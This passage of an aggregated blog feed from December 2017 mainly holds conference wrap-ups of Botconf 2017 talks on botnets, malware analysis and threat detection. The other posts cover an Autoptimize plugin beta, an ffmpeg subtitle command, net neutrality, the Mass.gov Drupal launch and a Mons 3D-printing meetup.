  • To be able to process a vast search space. The namespace could be enormous (from 3 digit seed to 4 then 5, 6). There is a scalability problem.
  • Mapping the ambiguity (and avoid collisions with other DGA’s)

So solution they developed is based on GPU (for maximum speed). If you’re interested in the Locky DGA, you can have a look at their dataset.

The next talk was, for me, the best of the day because it contained a lot of useful information that many people can immediately reuse in their environment to improve the detection of malicious behaviour or to improve their DFIR process. It was titled “Hunting Attacker Activities – Methods for Discovering, Detecting Lateral Movements” and presented by Keisuke Muda and Shusei Tomonaga. Based on their investigations, they explained how attackers can perform lateral movement inside a network just be using standard Windows tools (that, by default, are not flagged as malicious by the antivirus).

https://github.com/baderj/domain_generation_algorithms/tree/master/locky

They presented multiple examples of commands or small scripts used to scan, pivot, cover tracks, etc. Then they explained how to detect this kind of activity. They made a good comparison of the standard Windows audit log versus the well-known Sysmon tool. They presented pro & con of each solution and the conclusion could be that, for maximum detection, you need both. There were so many examples that it’s not possible to list them here. I just recommend you to have a look at the documents available online:

It was an amazing presentation!

After the lunch, Jaeson Schultz, also from Talos, presented “Malware, Penny Stocks, Pharma Spam – Necurs Delivers“. The talk was a good review of the biggest spam botnet active. Just some numbers collected from multiple campaigns; 2.1 messages, 1M unique sender IP addresses from 216 countries/territories. The top countries are India, Vietnam, Iran and Pakistan. Jaeson explained that the re-use of IP address is so low that it’s difficult to maintain blacklists.

IP Addresses Reuse

How do the bad guys send emails? They use harvested accounts (of course) but also auto-generated addresses and common / role-based accounts. That’s why the use of catch-all mailboxes is useful. Usually, big campaigns are launched from Monday to Friday and regular campaigns are constantly running at a low speed. Jaeson presented many examples of spam, attachments. Good review with entertaining slides.

Then, Łukasz Siewierski presented “Thinking Outside of the (Sand)box“. Łukasz is working for Google (Play Store) and analyze applications. He said that all applications submitted to Google are reviewed from a security point of view. Android has many security features: SE linux, application sandbox, permission model, verified boot, (K)ASLR, Seccomp but the presentation focused on the sandbox. First, why is there a sandboxing system? To prevent spyware to access other applications data, to prevent applications to pose as other ones, make easy to attribute action to specific apps and to allow strict policy enforcement.  But how to break the sandbox? First, the malware can ask users for a number of really excessive permissions. In this case, you just have to wait and cross your fingers that he will click “Allow”. Another method is to use Xposed. I already heard about this framework at Hack in the Box. It can prevent apps to be displayed in the list of installed applications. It gives any application every permission but there is one big drawback: the victim MUST install Xposed! The other method is to root the phone, inject code into other processes and profit. Łukasz explained different techniques to perform injection on Android but it’s not easy. Even more since the release of “Nougat” which introduced now mitigations techniques.

The last slot was assigned to Robert Simmons who presented “Advanced Threat Hunting“. It was very interesting because Robert gave nice tips to improve the process of threat hunting. It can require a lot of resources that are … limited! We have small teams with limited resources and limited time. He also gave tips to better share information. A good example is YARA rules. Everybody has a set of YARA rules in private directories, on laptops, etc. Why not store them in a central repository like a gitlab server? Many other tips were given that are worth a read if you are performing threat hunting.

The event was close to the classic kind word of the team. You can already book your agenda for the 6th edition that will be held in Toulouse!

 

The Botconf Crew

[The post Botconf 2017 Wrap-Up Day #3 has been first published on /dev/random]

I’m just back from the social event that was organized at the aquarium Mare Nostrum. A very nice place full of threats as you can see in the picture above. Here is my wrap-up for the second day.

The first batch of talks started with “KNIGHTCRAWLER,  Discovering Watering-holes for Fun, Nothing” presented by Félix Aimé. This is Félix’s personal project that he started in 2016 to get his own threat intelligence platform. He started with some facts like the definition of a watering hole: it is the insertion of specific malicious scripts on a specific website to infect visitors. Usually, Javascript + iframe that redirect to the malicious server but it can also be a malvertising campaign (via banners). They are not easy to track because, on the malicious server, you can have protections like IP whitelists (in case of targeted attack or to keep researchers away), browser fingerprinting, etc. Then he explained how he build his own platform and the technique used to find suspicious activities: passive DNS, common crawl indexes, directory scraping, leaked DNS, … It is interesting to note that he uses YARA rules. In fact, he created his personal (legal) botnet. The architecture is based on a master server (the C&C) which is talking to crawler servers. Actually, he’s monitoring 25K targets. This is an ongoing project and Félix will still improve it. Not that it is not publicly available. He also gave some nice examples of findings like the keylogger on WordPress that we reported yesterday. He detected it for the first time a few months ago he told me! Very nice project!

The second talk was a complete review of the Wannacry attack that hits many organizations in May 2017: “The (makes me) Wannacry Investigation” presented by Alan Neville from Symantec. This is the last time that the SANS ISC InfoCON was raised to yellow! Everybody remembers this bad story. Alan reviewed some major virus infections during the last years like Blaster (2003) or Conficker (2008). These malware infected millions of computers but, in the case of Wannacry, “only” 300K hosts were infected. But, the impact was much more important: factories, ATM’s, billboards, health devices, etc. Then Alan reviewed some technical aspect of Wannacry and mentioned, of course, the famous kill-switch domain: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com. In fact, Symantec detected an early version of the ransomware a few months before (without the Eternal Blue exploit). They also observed some attacks in March/April 2017. But, basics security rules could have reduced the impact of the ransomware: have a proper patching procedure as well as backup/restore procedures.

After the morning coffee refill, Maria Jose Erquiaga came on stage to present: “Malware Uncertainty Principle: an Alteration of Malware Behavior by Close Observation“. This talk was a presentation of the study of the influence of web TLS interception in malware analysis. Indeed, today, more and more malwares are communicating on top of HTTPS. What will happen if we play MitM with them to intercept communications with the C&C server? Maria explained the lab that was deployed with two scenarios: with and without an intercepting proxy.

Nomad Project Infrastructure

Once the project in place, they analyzed many samples and captured all the traffic. The result of this research is available online (link). What did they find? Sometimes, there is no communication at all with the C&C because the malware is using a custom protocol via TCP/443. This one is rejected by the proxy. Some malwares tried to reconnect continuously or seek another way to connect (ex: via different ports).

The next one was “Knock Knock… Who’s there? admin admin, Get In! An Overview of the CMS Brute-Forcing Malware Landscape” presented by Anna Shirokova from Cisco. This talk was presented at BruCON but, being part of the organization, I was not able to follow it. Hopefully, this time was the right one. I’m maintaining multiple WordPress sites and, I fully agree, brute-force attacks are constantly launched and pollute my logs. Anna started with a review of the brute-force attacks and the targets. Did you know that ~5% of the Internet websites are running WordPress? This is a de-facto target. There are two types of brute-force attacks: the vertical one (a list of passwords is tested against one target) and horizontal (one password is tested against a list of targets). Brute-force attacks are not new, Anna made a quick recap from 2009 until 2015 with nice names like FortDisco, Mayhem, CMS Catcher, Troldesh, etc. And it’s still increasing… Then Anna focuses on Sathurbot which is a modular botnet with different features: downloader, web crawler and brute-forcer). The crawler module uses search engines to find a list of sites to be targeted (ex: “bing.com/search?q=makers%20manage%20manual“). Then the brute-force attack starts against /wp-login.php. Nice research which revealed that the same technique is always used and that many WordPress instances are still using weak passwords! Note that it is difficult to measure the success rate of those brute-force attacks).

Then Mayank Dhiman & Will Glazier presented “Automation Attacks at Scale or Understanding ‘Credential Exploitation’“. There exists many tools to steal credentials on the Internet and others to re-use them to perform malicious activities (account takeover, fake accounts creation, shopping bots, API abuse, etc). They are many toolkits that were briefly reviewed: SentryMBA, Fraudfox, AntiDetect but also more classic tools like Hydra, curl, wget, Selenium, PhantomJS. The black market is full of services that offers configuration files for popular websites. According to the research, 10% of the Alexia top websites are a config file available on the black market (which describes how to abuse them, the API, etc). Top targets are gaming websites, entertainment and e-commerce. No surprise here. To abuse them, you need: a config file, stolen credentials and some IP addresses (for rotation) and some computing power. About credentials, they are quite easy to find, pastebin.com is your best friend. Note that they need good IP addresses, best sources are cloud services or compromised IoT devices or proxy farms. They gave a case study about the large US retailer that was targeted by 40K IP addresses from 61 countries. But how to protect organizations against this kind of attacks?

  • Analyze HTTP(S) requests and headers to fingerprint attack tools
  • Use machine learning to detect forged browser behaviour
  • Use threat intelligence
  • Data analytics (look for patterns)

The next one was “The Good, the Bad, the Ugly: Handling the Lazarus Incident in Poland” presented by Maciej Kotowicz. Maciej came back on a big targeted attack that occurred in Poland. This talk was flagged as TLP:AMBER. Sorry, no coverage. If you are interested, here is a link for more info about Lazarus.

 

After the (delicious) lunch, Daniel Plohmann presented his project: “Malpedia: A Collaborative Effort to Inventorize the Malware Landscape“. Malpedia can be resumed in a few words: Free, independent, resource labeled, unpacked, samples. The idea of Malpedia came two years ago during Botconf. The idea is to propose a high-quality repository of malware samples (Daniel insisted on the fact that quality is better than quantity) properly analyzed and tagged. Current solutions (botnets.fr, theZoo, VirusBay.io) still have issues to identify properly the samples. In the Daniel’s project, samples are classified by families. What is a malware family? According to Daniel, it’s all samples that belong to the same project seen from a developer’s point of view. After explaining the collection process, he gave some interesting stats based on his current collection (as of today, 2491 samples from 669 families). Nice project and access is available upon request (if you met Daniel IRL) or by vouching for other people. Malpedia is available here.

The next talk was… hard! When the speaker warns you that some slides will contain lot of assembler code, you know what to expect! “YANT – Yet Another Nymaim Talk” was presented by Sebastian Eschweiler. What I was able to follow: Nymain is a malware that uses very complex anti-analysis techniques to defeat researchers and analysts. The main technique used is called “Heaven’s Gate“. It is a mechanism to call directly 64-bits kernel core from 32-bit code. It is very useful to encrypt code, hide from static analysis tools and a nice way to evade sandbox hooks.

After the afternoon coffee break, Amir Asiaee presented “Augmented Intelligence to Scale Humans Fighting Botnets“. It started with a fact: today, they are too many malwares and too few researchers. So we need to automate as much as possible. Amir is working for a company that gets feeds of DNS request from multiple ISP’s. They get 100B of DNS queries per day! As the malwares are moving faster then yesterday, they use complex DGA, the lifetime of C&C is shorter, there is a clear need for quick analysis of all those data. Amir explained how they process this huge amount of data using NLP (“Natural Language Processing”).DNS Processing

The engineering challenge is to process all those data and to spot new core domain… when real tile is a key! Here is a cool video about the data processing. Then Amir explained some use cases. Two interesting examples: Bedep uses exchange rates as DGA seed… Some others have too much coalitions (ex: [a-z]{6}.com) which could lead to many false positives: what about akamai.com?

The last talk covered the Stantinko botnet: “Stantinko: a Massive Adware Campaign Operating Covertly since 2012” by Matthieu FAOU & Frédéric Vachon from Eset. It was a very nice review of the botnet. It started with some samples they received from a customer. They started the reverse engineering and, when you discover that a DLL, belonging to a MP3 encoder application, decrypts and load another one in memory, you are facing something very suspicious! They were able to sinkhole the C&C server and started further analysis. What about the persistence? The malware creates two Windows services: PDS (Plugin Downloader Service) and BEDS (Browser Extension Downloader Service).

Statinko Architecture

The purpose of the PDS is to compromise CMS (WordPress and Joomla), install a RAT and Facebook bot. The BEDS is a flexible plugins system to install malicious extensions in the browser. Stantinko has many interesting anti-analysis features: the code is encrypted with a unique key per infection. The analyze requires to find the dropper and aget a sample + related context. There is a fileless plugin system. To get payloads, they had to code a bot mimicking an infected machine. What about the browser extension? The Ad-Fraud injects ads on targeted websites or redirect the user to an ads websites before showing the right one. They also replace ads with their own. Note that URL’s are hashed in the config files! Another module is the search parser which search on Google or Yandex for potential victims to perform brute-force attacks. Finally, a RAT module is also available. This bot has a estimate size of 500K hosts. More details about Stantinko are available here.

The day ended with a good lightning talks sessions: 14 presentations  in 1h! Some of them were really interesting, others very funny. In bulk mode, what was presented:

  • The Onyphe project
  • IoT Malware classification
  • Dropper analysis (https://malware.sekoia.fr)
  • Deft Linux (Free DFIR Linux distribution) DART deftlinux.net
  • Sysmon FTW
  • PyOnyphe: Onyphe Python library to use the API
  • Autopwn
  • Just a normal phishing
  • Context enrichment for IR
  • Yet another sandbox evation “you_got_damn_right” HTTP header gist.github.com/bcse/1834878
  • Sysmon sigs for Linux honeypots
  • Malware config dynamic extraction (Gootkit)
  • IDA Appcall
  • A Knightcrawler demo (see above)

See you tomorrow for the last day!

[The post Botconf 2017 Wrap-Up Day #2 has been first published on /dev/random]

December 07, 2017

I just committed what I consider the last feature to be added to AO Extra; the optimization of Google Fonts, with the choice between:

  • “remove”
  • “aggregate and link”, where the Google Font CSS might still render-blocking but there will be no “flash of unstyled fonts”)
  • “aggregate and load asynchronous with webfont.js” will not be render-blocking, but might lead to that dreaded “flash of unstyled fonts”

Next step before merging AO Extra with Autoptimize to become AO 2.3; testing. And that’s where I need your help;

  1. Download the AO Extra zip-file from Github
  2. go to Plugins -> Add New -> Upload Plugin
  3. Click “browse” and select the zip-file you downloaded in (1)
  4. Click “Install now”
  5. Click “Activate”
  6. Go to Settings -> Autoptimize -> Extra
  7. Test
  8. Give generic feedback below or file bugs in the projects Github Issues

If all goes well Autoptimize 2.3 could be release before we have to wave 2017 goodbye :-)

For future reference (to myself, for the most part):

ffmpeg -i foo.webm -i foo.en.vtt -i foo.nl.vtt -map 0:v -map 0:a \
  -map 1:s -map 2:s -metadata:s:a language=eng -metadata:s:s:0   \
  language=eng -metadata:s:s:1 language=nld -c copy -y           \
  foo.subbed.webm

... is one way to create a single .webm file from one .webm input file and multiple .vtt files. A little bit of explanation:

  • The -i arguments pass input files. You can have multiple input files for one output file. They are numbered internally (this is necessary for the -map and -metadata options later), starting from 0.
  • The -map options take a "mapping". With them, you specify which input streams should go where in the output stream. By default, if you have multiple streams of the same type, ffmpeg will only pick one (the "best" one, whatever that is). The mappings we specify are:

    • -map 0:v: this means to take the video stream from the first file (this is the default if you do not specify any mapping at all; but if you do specify a mapping, you need to be complete)
    • -map 0:a: take the audio stream from the first file as well (same as with the video).
    • -map 1:s: take the subtitle stream from the second (i.e., indexed 1) file.
    • -map 2:s: take the subtitle stream from the third (i.e., indexed 2) file.
  • The -metadata options set metadata on the output file. Here, we pass:

    • -metadata:s:a language=eng, to add a 's'tream metadata item on the 'a'udio stream, with name language and content eng. The language metadata in ffmpeg is special, in that it gets automatically translated to the correct way of specifying the language in the target container format.
    • -metadata:s:s:0 language=eng, to add a 's'tream metadata item on the first (indexed 0) 's'ubtitle stream in the output file. This too has the english language set
    • `-metadata:s:s:1 language=nld', to add a 's'tream metadata item on the second (indexed 1) 's'ubtitle stream in the output file. This has dutch set as the language.
  • The -c copy option tells ffmpeg to not transcode the input video data, but just to rewrite the container. This works because all input files (WebM video plus VTT subtitles) are valid for WebM. If you do not have an input subtitle format that is valid for WebM, you can instead limit the copy modifier to the video and audio only, allowing ffmpeg to transcode the subtitles. This is done by way of -c:v copy -c:a copy.
  • Finally, we pass -y to specify that any pre-existing output file should be overwritten, and the name of the output file.

December 06, 2017

We reached December, it’s time for another edition of the Botconf security conference fully dedicate to fighting botnets. This is already the fifth edition that I’m attending. This year, the beautiful city of Montpellier in the south of France is hosting the conference. I arrived on Monday evening to attend a workshop yesterday about The Hive, Cortex and MISP. As usual, I’m following the talks to propose you a wrap-up. Let’s go for the first one!

The introduction was not performed by “The Boss” (Eric Freyssinet) who was blocked due to a last minute change in his work agenda. But, the crew was there to ensure a smooth event. What about the current edition? In a few numbers: 4 days, 3 workshops, 12 crew members, 300 attendees (+13%), 28 talks selected amongst 46 submissions and good food as usual. Some attendees already renamed the event in “Bouffeconf” (“bouffe” is a French expression which expresses a huge amount of food). They also insisted on the respect of the social network and TLP policies.

The keynote slot was presented by Sébastien Larinier and Robert Erra. The title was “How to Compute the Clusterization of a Very Large Dataset of Malware with Open Source Tools for Fun & Profit?” and presumes a talk being oriented to machine learning. And it was indeed the case, the word appeared quickly on a slide. It was quite hard for a keynote with many mathematics formulas. The idea behind Sébastien and Robert’s research was to solve the following problem: Based on a data set of a few millions of malware samples how to process them automatically to classify them in clusters or families and get more information about their differences. In such a complex task, the scalability is important but also the speed. The schema to process the samples is the following:

blob >> parser >> JSON data >> FV (Features Vector) >> Classification

They explained the available algorithms (KMeans and DBScan) and their differences. Read the links if you are interested. Then they explained the issues they faced and finally gave some statistics.

Malware Clustering

They also explained the architecture deployed to parse all those samples. But what is stored? A lot of information: Hashes, the size and number of sections, names, entropy, characteristics, resources, entry point, import/export tables, strings, certificates, compilation date, etc. It is a good research that is still ongoing. Note that Sébastien has a workshop on this topic that he’s giving here and there at security conferences.

The first talk was titled “Get Rich or Die Trying” by Or EshedMark Lechtik from Checkpoint. It started with a fact: Many researches started with a simple finding like an email… that is the “trigger”. In this case, the research performed by Checkpoint started from an email about an oil company (Aramco) and targeting Saudi Arabia. Was it an APT? The investigations revealed step by step that it was not really an APT. They explained every step of the case from the email to the different malware samples delivered via malicious Office documents.

Attacker Infrastructure

One of them was a NetWire Lite, a RAT sold by wordwirelabs.com. The second sample was a VB6 compiled program which was an info stealer (ISR Stealer). The next one was an HawkEye keylogger which steals FTP, HTTP, SMTP credentials but also… Minecraft!? Don’t ask why! These tools are definitively not present in an APT… So they degraded the incident level. While going further, they finally found the Nigerian guy behind this attack. The main conclusion at the end of this talk could be: This guy was able to create a big operation and to cause damages with limited skills set. What about a group of highly skilled people?

The next slot was assigned to “Exploring a P2P Transient Botnet – From Discovery to Enumeration” from Renato Marinho, a researcher and SANS ISC handler. Renato explained how he found a botnet and how he was able to reverse the communications with the C&C. How it started? Simply with a Raspberry Pi running a honeypot at his home. The device was quickly infected (using the default Pi credentials) and he saw that the device tried to established a lot of connections to the Internet. Tip: when you’re running a honeypot, block (but log!) all connections to the wild Internet. He found that each member of the botnet could be a “Checker” or a “Scaro“, just one of them of both at the same time. A “Checker” is a dump node while a “Scaro” is a C&C. Communications with the C&C were established via HTTPS but the certificate was found in the binary. In this case, it’s easy to play MitM and intercept all communications. The set of commands was quite limited (“POST /ping”, “GET /upgrade”). The next step was to estimate the botnet size. The first techniques were to crawl the botnet based on the IP addresses found in communications with the C&C. The second one was more interesting: Renato found that it was possible to become the botnet by changed some parameters in the communication protocol (this is easy to achieve via a tool like BurpSuite). Another interesting fact about this botnet: there was no persistence mechanism in place which means that a reboot will remove the malware… until the next infection! Very interesting research!

Then, Jakub Křoustek, Peter Matula, Petr Zemek, from Avast, presented a very nice tool called RetDec. This is an open-source machine code decompiler. The first part of the talk was easy to understand. When a program (source) is compiled, the compiler generates machine code but also optimizes and changes reorganizes how data is managed. When you use a decompiler, you’ll get a code that is readable but that is far away from the original code. Usually, unreadable. They are also other techniques that make decompilation a hard work: packers, obfuscation, anti-debugging techniques, etc. RetDec is trying to solve those issues… The goal is to make a generic decompilation of binary code. That was the easy part. In the second part of the talk, they explained in details how the decompiler does the job with many examples. It was really complex. I just trust them. RetDec can do a good job. The good news is that it will be released as an open-source project next week. Check on retdec.com for more details. A good point for the IDA debugging plugin that can interact directly with RetDec! Impressive work by the Avast team…

After a long half-day, the lunch break was welcome. The afternoon started with “A Silver Path: Ideas for Improving Lawful Sharing of Botnet Evidence with Law Enforcement” by Karine e Silva from the University of Tilburg, NL. Not a technical talk at all but Karine has a very good overview of the issues between security researchers and law enforcement agencies. Indeed, by the law, attacking people or getting access to non-authorized data is prohibited. But in case of a botnet (just an example), the help of the researcher could be positive to help the LEA to take down the C&C server. The project presented by Karine is called BotLeg (more information here):

The project is a consortium between TiU (TILT), SURFNet, SIDN, Abuse Information Exchange, and NHTCU. While the main focus of the research is the Netherlands, the project will develop a comparative analysis to include other EU countries. The project is financed via NWO and will last for 48 months. Among the expected legal research results, the BotLeg project will deliver sectorial guidelines and codes of conduct on anti-botnet operations.

Karine on Stage

 

Some points are quite difficult to address. Example: in some cases, hack back is allowed but must be performed with the same level as the original attacker did. That’s not easy to quantify. What as an “aggressive” attack? Of course, the GDPR was mentioned because researchers are also collecting sensitive data.

The next talk was presented by two guys from the CERT.pl (Jarosław Jedynak & Paweł Srokosz): “Use Your Enemies: Tracking Botnets with Bots“. Usually, bots are used for malicious activities but they can be used for many purposes. Collected data are used to identify and kill them. They explained the infrastructure they developed to analyze malware samples, decrypt C&C configurations and then act as a member of the botnet to gain more knowledge. Their Ripper is, in fact, a modified version of Cuckoo + homemade scripts.

Automated Malware Analysis Tool Chain

Interesting to notice that performing this can be directly related to the previous talk: personal or sensitive information can be found. Once information about the botnet discovered, it’s not always easy to infiltrate it because you need to look legitimate (hostname, behavior, uptime), wait some time before being able to fetch data, and sometimes configuration is one available on specific countries.

The next talk was similar to the previous one. It focused on SOCKS proxies. “SOCKs as a Service, Botnet Discovery” by Christopher Baker. IP addresses can be easily classified. They are blacklists, GeoIP databases, DNS, CGN, websites etc. It’s easy to block them. But some IP addresses are very difficult to block because it could affect too many people (example: cloud services or ISP’s). That’s why there is a (black) market of SOCKS proxies. This is really a pain for researchers or law enforcement agencies because many SOCKS proxies are running on compromised computers in homes. Christopher explained how easy it is to “rent” such services for a small fee. In the second part of his talk, he explained how he infiltrated SOCKS proxies networks to gather more information about them. If I understood correctly, he used controlled hosts to join networks of proxies and see what was passing through them. Like deploying a tor-exit node.

After the afternoon coffee break, Sébastien Mériot from OVH presented “Automation Of Internet-Of-Things Botnets Takedown By An ISP“. For an ISP, DDoS attacks can be catastrophic. Not only they suffer from DDoS but some C&C servers can be hosted inside their infrastructure and, regarding the law, they can’t have a look at their customers’ data. Working based on abuse reports isn’t useful because it generates a lot of noise, they are often incomplete or the malicious content is already gone. IoT botnets have been a pain during the last year and generate a lot of DDoS attacks. Finding them is not complicated (Shodan is your best friend) but how to recover information about the C&C servers? Sébastien explained how he’s performing some reverse engineering to extract juicy information. I like the way he uses Radare2 with the r2pipe to get the assembly code of the sample and perform some greps to search for patterns of assembly code handling domains or IP addresses.

Then, Pedro Drimel Neto (Fox-It) came on stage to present “The New Era of Android Banking Botnets“. It was an interesting review of some banking malware families that spread during the last years: Perkele, iBanking, GMbot and BankBot. For each of them, he reviewed the infection path, the C&C communications, the backend. If in the previous years, unencrypted communications occurred via SMS, today it’s quite different and the latest malware families are much better (from an attacker perspective): strong encryption, anti-analysis, packing, C&C communications, e, c. Also, the distribution methods changed.

The last talk was an excellent review of the Gooligan botnet: “Hunting Down Gooligan” by Elie Bursztein & Oren Koriat. What is Gooligan? It was the first large-scale OAuth stealing botnet. Being used by all major actors on the Internet (Google, Microsoft, Facebook, Twitter, etc) you can imagine the impact of this botnet. The first version was detected in 2015 by Checkpoint and it was taken down in November 2016. In a nutshell, it was distributed as a repackaged known APK.

Gooligan in a Nutshell

Once decoded, the payload is downloaded, devices are rooted and persistence is configured. It modifies the install-recovery.sh file used when resetting the phone to factory settings. It makes very difficult to get rid of the malware. After technical details, the speakers explained the monetization techniques used by the botnet. There was two: apps boosting and ads injection. Stolen OAuth tokens were used interact with the play store to generate fake installs, reviews and search. Indeed, real users on real phones are difficult to spot compared to “fraudulent” server. As the C&C server got all details to spoof the infected phones (IMEI, IMSI, brand, model, token, Android version, etc). The last step was to explain how the remediation was performed: The C&C server was sinkholed and stolen token revoked. All users were notified, which is a challenge based on the number of people (1M), different languages, technical skills etc. I really like this presentation.

The day finished with beers and pizza in a relaxed atmosphere. Stay tuned for a second wrap-up tomorrow!

[The post Botconf 2017 Wrap-Up Day #1 has been first published on /dev/random]

December 04, 2017

Cable squeeze

Last month, the Chairman of the Federal Communications Commission, Ajit Pai, released a draft order that would soften net neutrality regulations. He wants to overturn the restrictions that make paid prioritization, blocking or throttling of traffic unlawful. If approved, this order could drastically alter the way that people experience and access the web. Without net neutrality, Internet Service Providers could determine what sites you can or cannot see.

The proposed draft order is disheartening. Millions of Americans are trying to save net neutrality; the FCC has received over 5 million emails, 750,000 phone calls, and 2 million comments. Unfortunately this public outpouring has not altered the FCC's commitment to dismantling net neutrality.

The commission will vote on the order on December 14th. We have 10 days to save net neutrality.

Although I have written about net neutrality before, I want to explain the consequences and urgency of the FCC's upcoming vote.

What does Pai's draft order say?

Chairman Pai has long been an advocate for "light touch" net neutrality regulations, and claims that repealing net neutrality will allow "the federal government to stop micromanaging the Internet".

Specifically, Pai aims to scrap the protection that classifies ISPs as common carriers under Title II of the Communications Act of 1934. Radio and phone services are also protected under Title II, which prevents companies from charging unreasonable rates or restricting access to services that are critical to society. Pai wants to treat the internet differently, and proposes that the FCC should simply require ISPs "to be transparent about their practices". The responsibility of policing ISPs would also be transferred to the Federal Trade Commission. Instead of maintaining the FCC's clear-cut and rule-based approach, the FTC would practice case-by-case regulation. This shift could be problematic as a case-by-case approach could make the FTC a weak consumer watchdog.

The consequences of softening net neutrality regulations

At the end of the day, frail net neutrality regulations mean that ISPs are free to determine how users access websites, applications and other digital content.

It is clear that depending on ISPs to be "transparent" will not protect against implementing fast and slow lanes. Rolling back net neutrality regulations means that ISPs could charge website owners to make their website faster than others. This threatens the very idea of the open web, which guarantees an unfettered and decentralized platform to share and access information. Gravitating away from the open web could create inequity in how communities share and express ideas online, which would ultimately intensify the digital divide. This could also hurt startups as they now have to raise money to pay for ISP fees or fear being relegated to the "slow lane".

The way I see it, implementing "fast lanes" could alter the technological, economic and societal impact of the internet we know today. Unfortunately it seems that the chairman is prioritizing the interests of ISPs over the needs of consumers.

What can you can do today

Chairman Pai's draft order could dictate the future of the internet for years to come. In the end, net neutrality affects how people, including you and me, experience the web. I've dedicated both my spare time and my professional career to the open web because I believe the web has the power to change lives, educate people, create new economies, disrupt business models and make the world smaller in the best of ways. Keeping the web open means that these opportunities can be available to everyone.

If you're concerned about the future of net neutrality, please take action. Share your comments with the U.S. Congress and contact your representatives. Speak up about your concerns with your friends and colleagues. Organizations like The Battle for the Net help you contact your representatives — it only takes a minute!

Now is the time to stand up for net neutrality: we have 10 days and need everyone's help.

December 02, 2017

I published the following diary on isc.sans.org: “Using Bad Material for the Good“:

There is a huge amount of information shared online by attackers. Once again, pastebin.com is a nice place to start hunting. As this material is available for free, why not use it for the good? Attackers (with or without bots) are constantly looking for entry points on websites. Those entry points are a good place to search, for example, for SQL injections… [Read more]

[The post [SANS ISC] Using Bad Material for the Good has been first published on /dev/random]

December 01, 2017

I published the following diary on isc.sans.org: “Phishing Kit (Ab)Using Cloud Services“:

When you build a phishing kit, they are several critical points to address. You must generate a nice-looking page which will match as close as possible to the original one and you must work stealthily to not be blocked or, at least, be blocked as late as possible… [Read more]

[The post [SANS ISC] Phishing Kit (Ab)Using Cloud Services has been first published on /dev/random]

This year at Acquia Engage, the Commonwealth of Massachusetts launched Mass.gov on Drupal 8. Holly St. Clair, the Chief Digital Officer of the Commonwealth of Massachusetts, joined me during my keynote to share how Mass.gov is making constituents' interactions with the state fast, easy, meaningful, and "wicked awesome".

Since its founding, Acquia has been headquartered in Massachusetts, so it was very exciting to celebrate this milestone with the Mass.gov team.

Constituents at the center

Today, 76% of constituents prefer to interact with their government online. Before Mass.gov switched to Drupal it struggled to provide a constituent-centric experience. For example, a student looking for information on tuition assistance on Mass.gov would have to sort through 7 different government websites before finding relevant information.

Mass gov before and after

To better serve residents, businesses and visitors, the Mass.gov team took a data-driven approach. After analyzing site data, they discovered that 10% of the content serviced 89% of site traffic. This means that up to 90% of the content on Mass.gov was either redundant, out-of-date or distracting. The digital services team used this insight to develop a site architecture and content strategy that prioritized the needs and interests of citizens. In one year, the team at Mass.gov moved a 15-year-old site from a legacy CMS to Acquia and Drupal.

The team at Mass.gov also incorporated user testing into every step of the redesign process, including usability, information architecture and accessibility. In addition to inviting over 330,000 users to provide feedback on the pilot site, the Mass.gov team partnered with the Perkins School for the Blind to deliver meaningful accessibility that surpasses compliance requirements. This approach has earned Mass.gov a score of 80.7 on the System Usability Scale; 12 percent higher than the reported average.

Open from the start

As an early adopter of Drupal 8, the Commonwealth of Massachusetts decided to open source the code that powers Mass.gov. Everyone can see the code that make Mass.gov work, point out problems, suggest improvements, or use the code for their own state. It's inspiring to see the Commonwealth of Massachusetts fully embrace the unique innovation and collaboration model inherent to open source. I wish more governments would do the same!

Congratulations Mass.gov

The new Mass.gov is engaging, intuitive and above all else, wicked awesome. Congratulations Mass.gov!

November 29, 2017

So with that nice little page cache experiment concluded, I started working on something that will definitively be included in the next version of Autoptimize; Extra Auto-optimizations!

You can read all about it below or you can skip all of that and immediately download the zipfile of the “AO Extra power-up” from the Github repository.

The 3 features available now;

  • remove Emoji’s
  • remove (version parameter from the) query string (not that big a deal, from a load time perspective, but still)
  • the ability to have Autoptimize add the async attribute to the local or 3rd party JavaScript (local JS-files will be excluded automatically if added here).

There’s one extra feature that will very likely be added; optimize Google Fonts (because removing them is considered harsh, apparently).

Do download, do test and do let me know if anything is broken in the comments or via my contact form. And If you have other ideas for extra features, do let me know too!

I published the following diary on isc.sans.org: “Fileless Malicious PowerShell Sample“:

Pastebin.com remains one of my favourite place for hunting. I’m searching for juicy content and report finding in a Splunk dashboard:

Yesterday, I found an interesting pastie with a simple Windows CMD script… [Read more]

[The post [SANS ISC] Fileless Malicious PowerShell Sample has been first published on /dev/random]

Imprimante 3D AirwolfCe jeudi 21 décembre 2017 à 19h se déroulera la 64ème séance montoise des Jeudis du Libre de Belgique.

Le sujet de cette séance : Construire son imprimante 3D

Thématique : DIY|Maker|Internet|Graphisme| sysadmin|communauté

Public : Tout public|sysadmin| entreprises|étudiants|…

L’animateur conférencier : Louis-Marie Croisez

Lieu de cette séance : Université de Mons, Campus Plaine de Nimy, avenue Maistriau, Grands Amphithéâtres, Auditoire Curie (cf. ce plan sur le site de l’UMONS, ou la carte OSM).

La participation sera gratuite et ne nécessitera que votre inscription nominative, de préférence préalable, ou à l’entrée de la séance. Merci d’indiquer votre intention en vous inscrivant via la page http://jeudisdulibre.fikket.com/. La séance sera suivie d’un verre de l’amitié.

Les Jeudis du Libre à Mons bénéficient aussi du soutien de nos partenaires : CETIC, OpenSides, MeaWeb et Phonoid.

Si vous êtes intéressé(e) par ce cycle mensuel, n’hésitez pas à consulter l’agenda et à vous inscrire sur la liste de diffusion afin de recevoir systématiquement les annonces.

Pour rappel, les Jeudis du Libre se veulent des espaces d’échanges autour de thématiques des Logiciels Libres. Les rencontres montoises se déroulent chaque troisième jeudi du mois, et sont organisées dans des locaux et en collaboration avec des Hautes Écoles et Facultés Universitaires montoises impliquées dans les formations d’informaticiens (UMONS, HEH et Condorcet), et avec le concours de l’A.S.B.L. LoLiGrUB, active dans la promotion des logiciels libres.

Description : Tout le monde peut s’acheter une imprimante 3D et selon vos finances, vous devrez débourser de 200€ à 1000€ pour une imprimante d’entrée de gamme.

La logique est que plus vous payez, plus vous obtenez de fiabilité et de caractéristiques intéressantes. Pour briser cette logique, et si vous aimez bricoler et que vous êtes habiles de vos mains, il est tout à fait possible de fabriquer sa propre imprimante 3D à un prix maîtrisé et selon vos critères. Quel est intérêt? En plus du gain d’argent évident, ce processus vous donne accès à un outil que vous maîtrisez à 100%, que vous pouvez modifier, améliorer selon vos critères. Le DIY est aussi un formidable outil d’auto-apprentissage de cette technologie.

